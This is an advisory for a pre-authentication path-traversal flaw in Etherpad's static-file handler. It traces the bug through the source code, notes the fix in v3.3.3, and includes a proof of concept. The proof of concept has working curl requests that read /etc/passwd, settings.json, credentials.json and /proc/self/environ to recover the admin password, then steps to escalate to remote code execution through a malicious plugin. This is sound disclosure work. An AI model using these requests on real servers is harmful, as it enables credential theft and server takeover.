CVE-2026-114516 ‒ Etherpad Pre-auth Arbitrary File Read

Authored by:
Metrics: cve.org

Description

An unauthenticated path-traversal / arbitrary-file-read vulnerability in Etherpad’s /static/* handler allows a remote, unauthenticated user to read files on the server’s filesystem that are accessible to the operating-system user running Etherpad.

Vulnerability

The endpoint is mounted before the authentication middleware, so no credentials, session, or configuration change are required. For example, a request such as:

GET /static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd

can return /etc/passwd.

The file-read capability could lead to full server compromise. On a typical deployment, files such as settings.json, credentials.json, or /proc/self/environ may disclose the administrator password. An attacker could then obtain an administrator session and use the administrator plugin installer to achieve remote code execution.

Details

Etherpad serves plugin static assets through src/node/utils/Minify.ts. The request path is first passed through the canonical path sanitizer, src/node/utils/sanitizePathname.ts. That sanitizer converts backslashes to forward slashes only on Windows:

// src/node/utils/sanitizePathname.ts:11-20
p = pathApi.normalize(p);
if (pathApi.isAbsolute(p)) throw new Error(`absolute paths are forbidden: ${p}`);
if (p.split(pathApi.sep)[0] === '..') throw new Error(`directory traversal: ${p}`);
// THIS CONVERSION MUST ONLY BE DONE ON WINDOWS, otherwise on POSIXish systems '..\' in the input
// pathname would not be normalized away before being converted to '../'.
if (pathApi.sep === '\\') p = p.replace(/\\/g, '/');

On Linux, a backslash is an ordinary filename byte. An input segment such as ......\\test therefore contains no . or .. path components and passes the checks in sanitizePathname unchanged.

The project’s test suite confirms this behaviour: src/tests/backend-new/specs/sanitizePathname.ts:62 lists ['posix', '..\\foo'] among the accepted paths, returned unchanged.

The vulnerability occurs because Minify.ts then performs the Windows-only backslash conversion unconditionally, after the sanitizer has run. The code comment says that this conversion cannot introduce traversal because sanitizePathname has already removed all ..\\ substrings; that assumption is false on POSIX systems:

// src/node/utils/Minify.ts:171-186
const match = filename.match(/^plugins\/([^/]+)(\/(?:(static\/.*)|.*))?$/);
if (match) {
const library = match[1];
const libraryPath = match[2] || '';
if (plugins.plugins[library] && match[3]) {
const plugin = plugins.plugins[library];
const pluginPath = plugin.package.realPath; // for 'ep_etherpad-lite' == <root>/src
filename = path.join(pluginPath, libraryPath); // -> absolute path, backslashes preserved
// ... "This conversion does not introduce a directory
// traversal vulnerability because all '..\\' substrings have already been removed by
// sanitizePathname." // <-- FALSE on POSIX
filename = filename.replace(/\\/g, '/'); // <-- reintroduces ../ AFTER the check
}
}

After this conversion, the string becomes a real traversal path (for example, /src/static/../../../../etc/passwd). There is no re-normalisation or containment check before the filesystem calls at Minify.ts:248 (fs.stat) and Minify.ts:315 (fs.readFile).

Because path.join at line 179 produces an absolute path, path.resolve(ROOT_DIR, filename) discards ROOT_DIR. POSIX path.resolve collapses surplus .. segments at /, so the payload does not need an exact traversal depth.

Pre-authentication route

The route is registered through the expressPreSession hook:

src/ep.json
{
"name": "static",
"hooks": {
"expressPreSession": "ep_etherpad-lite/node/hooks/express/static"
}
}
// src/node/hooks/express/static.ts:38
app.all('/static/*filename', minify);

The expressPreSession hook runs before the authentication middleware:

// src/node/hooks/express.ts:244-247
await hooks.aCallAll('expressPreSession', {app, settings}); // static route registered here
app.use(exports.sessionMiddleware);
app.use(webaccess.checkAccess); // auth runs AFTER

The plugin branch is always taken because src/static/js/pluginfw/plugins.ts:153-158 unconditionally registers the core pseudo-plugin ep_etherpad-lite with package.realPath = /src.

URL decoding

There are two decoding details relevant to exploitation:

  1. Express 5 / path-to-regexp v8 decodes wildcard parameters per segment, once, using (v) => v.split('/').map(decodeURIComponent). Consequently, req.params.filename.join('/') (Minify.ts:147) produces the once-decoded path passed to the sanitizer.
  2. %5C (encoded backslash) is the working separator. %2F decodes to /, is split again, and is rejected by the split('/')[0] === '..' check.

Proof of concept (PoC)

This PoC applies to a default production deployment, without special configuration, on Linux. Examples include the Docker image and a systemd source installation.

Replace TARGET:9001 with the Etherpad instance.

1. Read /etc/passwd or another file without authentication

--path-as-is prevents the client from normalising the traversal path:

Terminal window
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cetc/passwd'

Other high-value file reads can use more .. segments than necessary; the surplus is absorbed at /.

Read the administrator password and secrets through /proc/self/cwd:

Terminal window
curl --path-as-is 'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/settings.json'
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/cwd/credentials.json'

On Docker Compose deployments, the administrator password is an environment variable:

Terminal window
curl --path-as-is \
'http://TARGET:9001/static/plugins/ep_etherpad-lite/static/..%5C..%5C..%5C..%5C..%5C..%5C..%5Cproc/self/environ'

Each response returns the raw file bytes. For extension-less targets, the response has a harmless Content-Type: false header; Node coerces the value and does not throw.

2. Escalate to remote code execution

Recover the administrator credential from the files read in step 1, then mint an administrator session:

Terminal window
curl -i -X POST 'http://TARGET:9001/admin-auth/' \
-H "Authorization: Basic $(printf 'admin:PASSWORD' | base64)"
# -> 200 + Set-Cookie: <prefix>express_sid=...

Using the express_sid cookie, connect to the /pluginfw/installer Socket.IO namespace. This namespace is gated only on session.user.is_admin (src/node/hooks/express/adminplugins.ts:22).

Emit install for an attacker-controlled ep_* plugin. Etherpad requires the plugin’s code in-process during plugins.update() (src/static/js/pluginfw/shared.ts:30), executing arbitrary code as the Etherpad user.

Mitigations

Update to the v3.3.3.

Timeline

DateAction
28.07.2025Vulnerability reported via GitHub
29.07.2026Fix released in new version v3.3.3
27.10.2026Publication of GitHub advisory

References

Share: